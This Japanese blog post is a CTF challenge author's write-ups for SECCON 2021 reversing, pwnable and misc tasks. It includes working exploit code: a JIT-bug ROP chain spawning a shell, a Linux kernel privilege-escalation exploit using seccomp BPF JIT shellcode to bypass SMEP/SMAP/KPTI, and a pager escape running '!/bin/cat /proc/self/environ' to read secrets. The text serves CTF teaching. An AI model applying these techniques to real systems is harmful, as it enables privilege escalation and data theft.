CTFするぞ

CTF以外のことも書くよ

SECCON CTF 2021作問者Writeup

はじめに

SECCON 2021 Onlineの運営に今年も参加しました。 何問か作りました。 年々日本語が苦手になっています。 話す機会が少ない。 助けて。

[Reversing 130pts] corrupted flag

IDAなどで読むと、4ビットを7ビットに拡張する処理をフラグに対して行っていることが分かります。 ハフマン符号なのですが、それはどうでも良くて、とにかく誤り訂正が可能なビットをXORで作って3ビット拡張しています。 エンコード時にフラグのビットはランダムに破壊されますが、各7ビットのうち1ビットが破壊されるかされないかの2択なので、十分誤り訂正可能です。

各7ビットごとにパリティ検査して、誤りがある場合は訂正すれば良いです。

with open("flag.txt.enc", "rb") as f:
    enc = f.read()

def bits(b):
    i = 0
    while len(b) * 8:
        yield (b[i//8] >> (i%8)) & 1
        i += 1

bs = bits(enc)
try:
    output = []
    while True:
        bits = []
        for i in range(7):
            bits.append(next(bs))
        c1 = bits[6] ^ bits[4] ^ bits[2] ^ bits[0]
        c2 = bits[5] ^ bits[4] ^ bits[1] ^ bits[0]
        c3 = bits[3] ^ bits[2] ^ bits[1] ^ bits[0]
        c = (c3 << 2) | (c2 << 1) | c1
        if c:
            bits[7-c] ^= 1
        output += [bits[0], bits[1], bits[2], bits[4]]
except:
    pass

flag= b''
for i in range(len(output) // 8):
    c = 0
    for j in range(8):
        c |= output[i*8+j] << j
    flag += bytes([c])

print(flag)

[Reversing 267pts] <flag>

HTMLに次のような怪しいタグがあります。

        <flag placeholder="SECCON{***** FLAG HERE *****}"
              key="NekoPunch"
              onerror="alert('Wrong flag!');"
              onsuccess="alert('Correct flag!');">
            6dbf84f73cf6a112268b09525ea550a665e21cb2e3e13af7e3ea0ecb52f5b9cda5b6522b1e978734553f1d7956d4af94bfc3f4d68c8fba9eeecf4035550b9106f70d57d1a6cdaf3211eaaa78d71a9038b71be621241e8b608a43b107f8860f543ab0189aa063800de4bae7d0b11045b8
        </flag>

JavaScriptでこのタグが動的に展開され、inputとbuttonが生成されますが、JavaScript自体はminifyされていて読みづらいです。 ブラウザのインスペクタでbuttonのイベントを見ると、次のようにWebAssemblyの関数を呼んでいることが分かります。

event => {
  let input = event.target.previousSibling,
    enc = input.attributes.enc.nodeValue.trim(),
    key = input.attributes.key.nodeValue;
  Module.check(input.value, key, enc) ? eval(input.attributes.onerror.nodeValue) : eval(input.attributes.onsuccess.nodeValue)
}

checkが0を返せば良さそうです。

WebAssemblyをどう解析するかは人によると思いますは、私はELFに変換してIDAで読みます。 実際今回のwasmもIDA freeでデコンパイルすると、だいたい↓のように読みやすいコードになります。*1

f:id:ptr-yudai:20211211233634p:plain

コードを読むと、特に困ることなく逆演算が可能なブロック暗号っぽい何か*2であることが分かるので、あとはデコーダを書くだけです。

enc = bytes.fromhex('6dbf84f73cf6a112268b09525ea550a665e21cb2e3e13af7e3ea0ecb52f5b9cda5b6522b1e978734553f1d7956d4af94bfc3f4d68c8fba9eeecf4035550b9106f70d57d1a6cdaf3211eaaa78d71a9038b71be621241e8b608a43b107f8860f543ab0189aa063800de4bae7d0b11045b8')

def ROTL(a, b):
    return ((a<<b) | (a>>(8-b))) & 0xff

def QRrev(s, a, b, c, d):
    s[a] ^= ROTL((s[d] + s[c]) & 0xff, 4)
    s[d] ^= ROTL((s[c] + s[b]) & 0xff, 3)
    s[c] ^= ROTL((s[b] + s[a]) & 0xff, 2)
    s[b] ^= ROTL((s[a] + s[d]) & 0xff, 1)

state = [
    ord('N'), ord('e'), ord('k'), ord('o'),
    ord('P'), ord('u'), ord('n'), ord('c'),
    0, 0, 0, 0,
    0, 0, 0, 0,
]

flag = ""
for j in range(0, len(enc), 16):
    state = list(enc[j:j+16])

    for rnd in range(128):
        # even
        QRrev(state, 15, 12, 13, 14)
        QRrev(state, 10, 11, 8, 9)
        QRrev(state, 5, 6, 7, 4)
        QRrev(state, 0, 1, 2, 3)
        # odd
        QRrev(state, 15, 3, 7, 11)
        QRrev(state, 10, 14, 2, 6)
        QRrev(state, 5, 9, 13, 1)
        QRrev(state, 0, 4, 8, 12)

    flag += ''.join(map(chr, state[8:]))

print(flag)

[Reversing 210pts] pyast64++.rev

Pythonに対するおもちゃのJIT*3であるpyast64を改造して作られたELFのReversingです。 pyast64自体は実用を目指していないので大量のバグがあります。特に配列の実装はかなり適当で、0CTF/TCTF Finals 2021でもpwnで出題されました。 今回pyast64++.revとpwnを作るにあたり、なるべく自明な脆弱性を潰しましたが、JITの構造上直しにくいバグもあり大変でした。*4

さて、revの問題では、とあるPythonコードをこのJITコンパイルした結果(のELF)が渡されます。 フラグチェッカーになっているので、これが受理してくれるようなフラグを見つけるのがゴールです。

pyast64.pyを読むと分かるように、このJITはpush, popを用いて値の受け渡しをします。 元のコードではこれを最適化する機能があるのですが、バグがあるというコメントとともに最適化機能は削除されています。*5 最適化がないため、JITにより生成されたコードはpush,pop地獄となっており、非常に読みにくいアセンブリをしています。

ここで登場するのがIDAなどのデコンパイラです。 デコンパイラはこの手のスタックマシンのような機械語デコンパイルを非常に得意としているため、この手のコードは綺麗になるはずです。 例えば

push    rdx
push    [rbp+ponta]
push    8
pop     rdx
pop     rax
imul    rdx

というブロックはIDA Freeのデコンパイラ

v67 = j + 8 * v1;

のように読みやすい形になります。

しかしすべてが読みやすくなる訳ではありません。例えばJITvisit_Subscriptを見てみましょう。

    def visit_Subscript(self, node):
        self.visit(node.slice) # Modified for Python 3.9
        self.asm.instr('popq', '%rax')
        local_offset = self.local_offset(node.value.id)
        self.asm.instr('movq', '{}(%rbp)'.format(local_offset), '%rdx')
        # Make sure the target variable is array
        self.asm.instr('mov', '4(%rdx)', '%edi')
        self.asm.instr('mov', '%fs:0x2c', '%esi')
        self.asm.instr('cmp', '%edi', '%esi')
        self.asm.instr('jnz', 'trap')
        # Bounds checking
        self.asm.instr('mov', '(%rdx)', '%ecx')
        self.asm.instr('cmpq', '%rax', '%rcx')
        self.asm.instr('jbe', 'trap')
        # Load the element
        self.asm.instr('pushq', '8(%rdx,%rax,8)')

配列の参照では特殊な操作をしています。 まずコメントにも書かれているように、配列の構造は先頭4バイトが長さ、次の4バイトが型情報となっており、そこから8バイトずつ要素が続きます。 上の機械語では、配列以外の型に対するスライスや範囲外参照が発生した際にtrapを発生するようになっています。 そのため、デコンパイル結果には次のようにtrapにジャンプするコードが大量に存在し、読みにくくなっています。

  if ( __readfsdword(0x2Cu) != savedregs_4 )
    goto trap;
  retaddr = 70LL;
  if ( __readfsdword(0x2Cu) != savedregs_4 )
    goto trap;

f:id:ptr-yudai:20211122120917p:plain

trapへの分岐を削除するパッチを当てると、次のようにcheck関数は1画面に収まるほど小さくなりました。

f:id:ptr-yudai:20211122121143p:plain

これを読むと何か可逆な処理をしていることが分かります。 逆処理を書いて終わりです。

cipher = [75, 203, 190, 126, 184, 169, 27, 74, 35, 83, 113, 65, 207, 193, 27, 137, 37, 98, 0, 68, 219, 113, 21, 180, 223, 135, 5, 129, 189, 200, 245, 100, 117, 62, 192, 101, 239, 92, 182, 136, 159, 235, 166, 90, 74, 133, 83, 78, 6, 225, 101, 103, 82, 78, 144, 205, 130, 238, 175, 245, 172, 62, 157, 176]
key = b"SECCON2021"

Sbox = [0xff - i for i in range(0x100)]
j = 0
for i in range(0x100):
    j = (j + Sbox[i] + key[i % 10]) % 0x100
    Sbox[i], Sbox[j] = Sbox[j], Sbox[i]

def FYinv(bits):
    for i in range(63, -1, -1):
        j = (i**3 % 67) % 64
        bits[i], bits[j] = bits[j], bits[i]

def Pinv(data, length):
    for i in range(length // 8):
        bits = []
        for j in range(8):
            bits += [(data[i*8+j] >> k) & 1 for k in range(8)]
        FYinv(bits)
        for j in range(8):
            c = 0
            for k in range(8):
                c |= bits[j*8+k] << k
            data[i*8+j] = c

def Sinv(Sbox, data, length):
    for i in range(length):
        data[i] = Sbox.index(data[i])

for rnd in range(10):
    for i in range(0x40):
        cipher[i] ^= key[9 - rnd]
    Pinv(cipher, 0x40)
    Sinv(Sbox, cipher, 0x40)

print(cipher)
print(''.join(map(chr, cipher)))

Sboxの生成はRC4、暗号化部分は適当に作ったSPN構造です。

[Pwnable 233pts] pyast64++.pwn

さきほどrevで扱ったpyast64++ですが、今度はpwnパートになります。 pyast64++.revのバイナリを生成したpyast64は(機能は非常に限られますが)任意のPythonコードを受け取り、機械語を生成します。

この問題は全会一致で簡単なのですが、やはり非x64 ELFが降ってくると挑戦しないチームが多いようで、思ったほどsolve数は出ませんでした。 JIT pwnの入門としてかなり親切に設計したので、JITをpwnしてみたい方は是非解いてみてください。

JITなので脆弱性はいくつかあるかもしれませんが、想定して入れたものは配列のスコープに関する脆弱性です。 このJITの配列は範囲外参照などやりたい放題でかなり脆弱ですが、コメントにも書かれているように次のような実装で脆弱性が修正されています。

The original design of array was vulnerable to out-of-bounds access and type confusion. The fixed version of the array has its length to prevent out-of-bounds access.

i.e. x=array(1)

0        4        8        16
+--------+--------+--------+  
| length |  type  |  x[0]  |  
+--------+--------+--------+  

The type field is used to check if the variable is actually an array. This value is not guessable.

配列の先頭にサイズ情報と型情報を入れています。 サイズ情報は次のように範囲外読み書きを防ぐために使われます。

# Bounds checking
self.asm.instr('mov', '(%rdx)', '%ecx')
self.asm.instr('cmpq', '%rax', '%rcx')
self.asm.instr('jbe', 'trap')

もとのJITは非配列に対するスライスが可能で、変数の値をポインタとして読めるカスみたいなバグがあったので、型情報を使って直しています。

# Make sure the target variable is array
self.asm.instr('mov', '4(%rdx)', '%edi')
self.asm.instr('mov', '%fs:0x2c', '%esi')
self.asm.instr('cmp', '%edi', '%esi')
self.asm.instr('jnz', 'trap')

型情報はcanaryとかで使われるランダムな値なので特定できません。

脆弱性ですが、returnの実装が元のJITの使い回しであることが問題です。

    def visit_Return(self, node):
        if node.value:
            self.visit(node.value)
        if self.func == 'main':
            # Returning from main, exit with that return code
            self.compile_exit(None if node.value else 0)
        else:
            if node.value:
                self.asm.instr('popq', '%rax')
            self.compile_return(self.num_extra_locals)

この時returnに渡る変数の型がチェックされていません。 したがって、ローカルに確保された配列を返すとポインタがそのまま返ります。 型情報は破壊されてないままなので、この配列は死んだスコープにあるままなのに有効と判断されます。

さらにこの配列ポインタは別の関数に引数経由で渡せます。 そのため、呼び出し先のスコープと死んだ配列の位置が重なる可能性があります。 呼び出し先でも(型情報を破壊しなければ)死んだ配列は有効なので、リターンアドレスなどが書き換え放題です。

最後にROPの方法ですが、今回のようにJITのpwnの場合Bring Your Own Gadgetを使うのが楽だと思います。 JITコードは攻撃者が書いたコードをコンパイルしたものなので、ある程度自由にROP gadgetを入れられます。 次のようにシェルを起動するchainも簡単に書けますね。

def get_overlap():
    # [vuln] Return a local array out-of-scope
    return array(0x100)

def f1(evil):
    # Create padding for ROP chain
    x = array(0xe0)
    f2(evil)

def gadgets():
    0x00c3d231 # xor edx, edx; ret;
    0x00c3f631 # xor esi, esi; ret;
    0x00c35f50 # push rax; pop rdi; ret;
    0x00c3c031 # xor eax, eax; ret;
    0x00c33bb0 # mov al, 59; ret;
    0x00c3050f # syscall; ret;
    0x00c35a5a # pop rdx; pop rdx; ret

def f2(evil):
    # Prepare ROP chain
    proc_base  = evil[0x1b] - 0x11d5
    evil[0x1b] = proc_base + 0x1212 # pop rdx; pop rdx; ret
    # skip evil pointer and type field
    evil[0x1e] = proc_base + 0x11fa # push rax; pop rdi; ret
    evil[0x1f] = proc_base + 0x11ee # xor edx, edx; ret
    evil[0x20] = proc_base + 0x11f4 # xor esi, esi; ret
    evil[0x21] = proc_base + 0x1200 # xor eax, eax; ret
    evil[0x22] = proc_base + 0x1206 # mov al, 59; ret
    evil[0x23] = proc_base + 0x120c # syscall; ret
    binsh = array(1)
    binsh[0] = 0x0068732f * 0x10000 * 0x10000 + 0x6e69622f
    return binsh + 8

def main():
    evil = get_overlap()
    f1(evil)

[Pwnable 112pts] kasu bof

ソースコードはこれだけです。

#include <stdio.h>

int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}

32-bitでPIEやRELROは無効です。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

この問題ではlibcのバージョンが不明なので、問題文にも書かれているようにret2dlを使うのが楽だと思います。 他に解説することはありません。

[Pwnable 248pts] gosu bof

ソースコードはkasu bofとまったく同じです。 しかし、64-bitでRELROが有効になりました。また、libcは配布されています。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64-bitになるとret2dlが困難になります。 というのもlink_map構造体の一部を書き換える必要が出てくるからです。 そのためlink_map構造体のアドレスをリークする必要があるのですが、当然print系関数はありません。 このような場合link_map構造体のアドレスの加算し、適当なgadgetやgetsで書き換えるという手法があります。 しかし、今回のバイナリはFull RELROなのでlink_mapへのポインタが書き込み可能領域に存在しません。*6

この問題の主旨はシステムコール実行後にrcxレジスタにリターンアドレスが入ることです。 gccコンパイルされたバイナリの場合、ほぼ確実に次のgadgetが存在します。

0x004011b0: add dword [rax+0x39], ecx ; fsave  [rbp-0x16] ; add rsp, 0x08 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)

raxとrbpを調整すれば、このgadgetはクラッシュせずに「ecxレジスタの値を任意アドレスに書き込む」ことが可能です。 したがって、gets呼び出し後にこれを使うことでlibcの下位32-bitがメモリに保存されます。 さらに次の確定gadgetを使えば任意の値をメモリ上に加算できます。

0x0040111c: add dword [rbp-0x3D], ebx ; nop  ; ret  ;  (1 found)

libcベースアドレスの上位16-bitのエントロピーは1バイトあるかないか程度なので、このgadgetを組み合わせれば多少の試行回数でsystem関数などのアドレスをメモリ上に作り出せます。

という愉快な問題だったのですが、作問チェックの過程でreadgetsにしたため無事非想定解が出て死亡しました。

この問題で、BOFは32-bit, 64-bitともにFull RELROでlibcのアドレスがメモリ上に存在しなくてもシェルが取れるということが証明されたので、ROPの可能性は全証明されたと思います。

[Pwnable 365pts] kone_gadget

1337番に次のシステムコールが追加されているx64のLinuxカーネル問です。

SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
  asm volatile("xor %%edx, %%edx;"
               "xor %%ebx, %%ebx;"
               "xor %%ecx, %%ecx;"
               "xor %%edi, %%edi;"
               "xor %%esi, %%esi;"
               "xor %%r8d, %%r8d;"
               "xor %%r9d, %%r9d;"
               "xor %%r10d, %%r10d;"
               "xor %%r11d, %%r11d;"
               "xor %%r12d, %%r12d;"
               "xor %%r13d, %%r13d;"
               "xor %%r14d, %%r14d;"
               "xor %%r15d, %%r15d;"
               "xor %%ebp, %%ebp;"
               "xor %%esp, %%esp;"
               "jmp %0;"
               "ud2;"
               : : "rax"(rip));
  return 0;
}

任意のアドレスにジャンプできるがレジスタはrax以外0になるというシステムコールです。 この問題の意図は、RIPが取れることと権限昇格可能なことは同値なのかという問いです。 セキュリティ機構はKASLRが無効ですが、SMAP,SMEP,KPTIは有効です。

今回はスタックポインタも破壊されているので当然one gadgetみたいなものはないです。 となるとシェルコードを実行する必要があるのですが、最新版のLinuxカーネルにシェルコードを注入できるのでしょうか。

最近のLinuxはBPFのフィルタをJITでネイティブな機械語に変換して実行しています。 となるとbring your own gadgetができることは明らかです。 明らかなはずなのですが、これを思いついたチームは1チームしかいなかったようです。

シェルコードが実行できるといっても、権限昇格してからユーザー空間に戻ってくる必要があります。 私の解法はseccompでJITを呼び出して以下のシェルコードをコンパイルする方法です。

  • SMAP/SMEPを無効化
  • ユーザーランドのPOPULATEされたマップにrspを設定
  • ROPで commit_creds(prepare_kernel_cred(NULL)); を呼び出して権限昇格
  • KPTIをくぐり抜けてユーザー空間に戻る

文字で書くと簡単ですが、KPTIとかの回避を考えるのは割と難しかったです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <sys/mman.h>

#define SYS_SECCON 1337

typedef unsigned long u64;

u64 user_cs, user_ss, user_rsp, user_rflags;
u64 addr_commit_creds = 0xffffffff81073ad0;
u64 addr_prepare_kernel_cred = 0xffffffff81073c60;
u64 addr_trampoline = 0xffffffff81800e26;

static void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void sys_seccon(u64 addr) {
  syscall(SYS_SECCON, addr);
}

static void install_seccomp(unsigned char *filter, unsigned short length) {
  struct prog {
    unsigned short len;
    unsigned char *filter;
  } rule = {
    .len = length >> 3,
    .filter = filter
  };
  if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0)
    fatal("prctl(PR_SET_NO_NEW_PRIVS)");
  if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0)
    fatal("prctl(PR_SET_SECCOMP)");
}

int main()
{
  save_state();

  int N = 0x312; // make bpf random entropy as small as possible
  unsigned short filter_length = N*8 + 8;
  u64 *filter = (u64*)malloc(filter_length);

  /* Map stack (POPULATE it so that it's readable/writable under KPTI) */
  char *stack = (char*)mmap((void*)0xfff000, 0x2000,
                            PROT_READ | PROT_WRITE,
                            MAP_ANONYMOUS|MAP_SHARED|MAP_POPULATE|MAP_FIXED,
                            -1, 0);
  if (stack != (char*)0xfff000)
    fatal("mmap");
  // Gadget-free ROP chain!
  u64 *rsp = (u64*)&stack[0x1000];
  *rsp++ = addr_prepare_kernel_cred;
  *rsp++ = addr_commit_creds;
  *rsp++ = addr_trampoline; // ret2usermode
  *rsp++ = 0xcafebabe; // garbage (pop rax)
  *rsp++ = 0xdeadbeef; // garbage (pop rdi)
  *rsp++ = (u64)&win;
  *rsp++ = user_cs;
  *rsp++ = user_rflags;
  *rsp++ = user_rsp;
  *rsp++ = user_ss;

  // Fill our filter with nop sled
  for (int i = 0; i < N; i++) {
    filter[i] = (u64)(0x01eb9090) << 32; // nop; nop; jmp 1;
  }
  u64 *chain = &filter[N - 20];
  // rdi = cr4
  *chain++ = (u64)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX;
  // edx = ~0x300000
  *chain++ = (u64)(0x01ebD231) << 32; // xor edx, edx; jmp 1;
  *chain++ = (u64)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (u64)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1;
  *chain++ = (u64)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (u64)(0x0414E2C1) << 32; // shl edx, 20; add al, XX;
  *chain++ = (u64)(0x01ebD2F7) << 32; // not edx;
  // rdi &= rdx
  *chain++ = (u64)(0x04D72148) << 32; // and rdi, rdx; add al, XX;
  // cr4 = rdi
  *chain++ = (u64)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX;
  // esp = 0x1000000
  *chain++ = (u64)(0x01ebE431) << 32; // xor esp, esp; jmp 1;
  *chain++ = (u64)(0x01ebC4FF) << 32; // inc esp; jmp 1;
  *chain++ = (u64)(0x0418E4C1) << 32; // shl esp, 24; add al, XX;
  // commit_creds(prepare_kernel_cred(NULL));
  *chain++ = (u64)(0x01ebFF31) << 32; // xor edi, edi; jmp 1;
  *chain++ = (u64)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (u64)(0x01ebD0FF) << 32; // call rax; jmp 1;
  *chain++ = (u64)(0x04C78948) << 32; // mov rdi, rax; add al, XX;
  *chain++ = (u64)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (u64)(0x01ebD0FF) << 32; // call rax; jmp 1;
  // jump to swapgs_restore_regs_and_return_to_usermode
  *chain++ = (u64)(0xccE0FF58) << 32; // pop rax; jmp rax;
  filter[N] = 0x7fff000000000006; // RETURN ALLOW

  /* JIT our filter */
  install_seccomp((unsigned char*)filter, filter_length);

  /* Jump to nop sled of JIT-ted seccomp filter */
  puts("[+] bring your own shellcode: go brrrrr");
  sys_seccon(0xffffffffc0000f00);

  return 0;
}

しかしこの問題には非想定解がありました。 Linuxカーネルはクラッシュ時にRIP周辺のメモリをダンプするお節介機能があるのですが*7、ramfsを使ったのでメモリ上にフラグがあり、そこへジャンプしてクラッシュさせることでフラグがダンプされるという方法がありました。 これはこの問題だけでなく、これまでCTFで出題されてきた数多くのカーネル問で使える激ヤバ非想定解です。 なんかCTF史が変わる瞬間を目にしてしまった気がしました(は?)

悲しみの非想定解:

jmp flag

それはそれとして、終了後にKASLRも回避してしまう方法を発見したチームもいて愉快でした。もうLinuxはだめだぁ。

[Misc 227pts] hitchhike

moraさんの作ったSECCON Treeの作問チェック中にいろいろとPythonの謎機能を発見したのですが、そのうち1つを問題にしました。*8 問題のスクリプトはこれだけです。

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

5つの固定値に対して掛け算をして、その結果がすべて42になればフラグが貰えます。

最初の方は次のように解けます。((0 or 42はkusanoさんが発見してくれました。))

  • 6 * 7
  • 6.6 * 42/6.6
  • '666' * 0 or 42
  • [6666] * 0 or 42

しかし、最後のdictに対する乗算はそもそも定義されていないため、42を作れません。 ということで、この問題は普通に解くことはできません。たぶん。

evalを使っているのでそこが怪しいですね。 8文字以下でできることには何があるでしょうか。 Pythonbuiltin関数を見てみると、8文字以内で呼び出せる関数はたくさんあります。 引数があっては文字数が足りないので、引数を必要としない関数のみを列挙します。

  • help()
  • input()
  • print()
  • set()
  • tuple()
  • vars()

ここでhelpという組み込み関数に注目します。これは通常、引数の関数などのドキュメントを表示するために使われます。

Invoke the built-in help system. (This function is intended for interactive use.) If no argument is given, the interactive help system starts on the interpreter console.

説明によると、引数を渡さずに呼び出すと対話式のヘルプシステムが起動するそうです。実際に試すと次のようになります。

f:id:ptr-yudai:20211210174519p:plain

例えばprint関数のhelpを表示してみます。

f:id:ptr-yudai:20211210174645p:plain

CTFerならピンとくると思いますが、なんとPAGERとしてlessが起動しました。 lessやmoreといったPAGERはエクスクラメーションマークから始まる入力をコマンドと解釈して実行してくれます。

したがって、次のようにコマンドを送ると、42を作ることなくフラグを直接取ってくることができます。

from ptrlib import *
import os

HOST = os.getenv('SECCON_HOST', "localhost")
PORT = os.getenv('SECCON_PORT', "10042")

sock = Socket(HOST, int(PORT))

sock.sendlineafter("value 2: ", "help()")
sock.sendlineafter("help> ", "+")
sock.sendlineafter("--More--", "!/bin/cat /proc/self/environ")
print(sock.recvregex("SECCON\{.+\}"))

sock.close()

本題

やはりCTF運営の醍醐味はボードゲーム。 今回はニムトとUNOっぽいやつ(いっつも名前忘れる)をやり、ニムトはボコボコにされた記憶があります。

あとお絵描きゲームをめっちゃしました。唯一私が腕を発揮できるゲームです。

f:id:ptr-yudai:20211219233525p:plain
パソコンをするハムスター

f:id:ptr-yudai:20211219233610p:plain
ルービックキューブが得意な猫

また遊びたいと思いました。(小並)

*1:もともとはem++で作ったので非常に読みにくいコードになりましたが、作問チェックで怒られが発生したのでemccで作り直しました。

*2:Salsa20を魔改造したらこんなゴミになりました

*3:今回の問題設定では厳密にはJITではなくコンパイラ

*4:moratoriumさんが作問チェックで無限に脆弱性を見つけてくれました。

*5:事実この最適化機能はレジスタのコンテキストを考慮しないため、exploitableなバグがあります。

*6:公開初期にFull RELRO合ってる?という質問が来ましたが、かなり早くに問題の核心をついているなと思いました。

*7:あれ使ってる人間、おる?

*8:本来なら残りをzer0pts CTFとかに回せるけど、別チームと一緒に運営するとこれができませんね。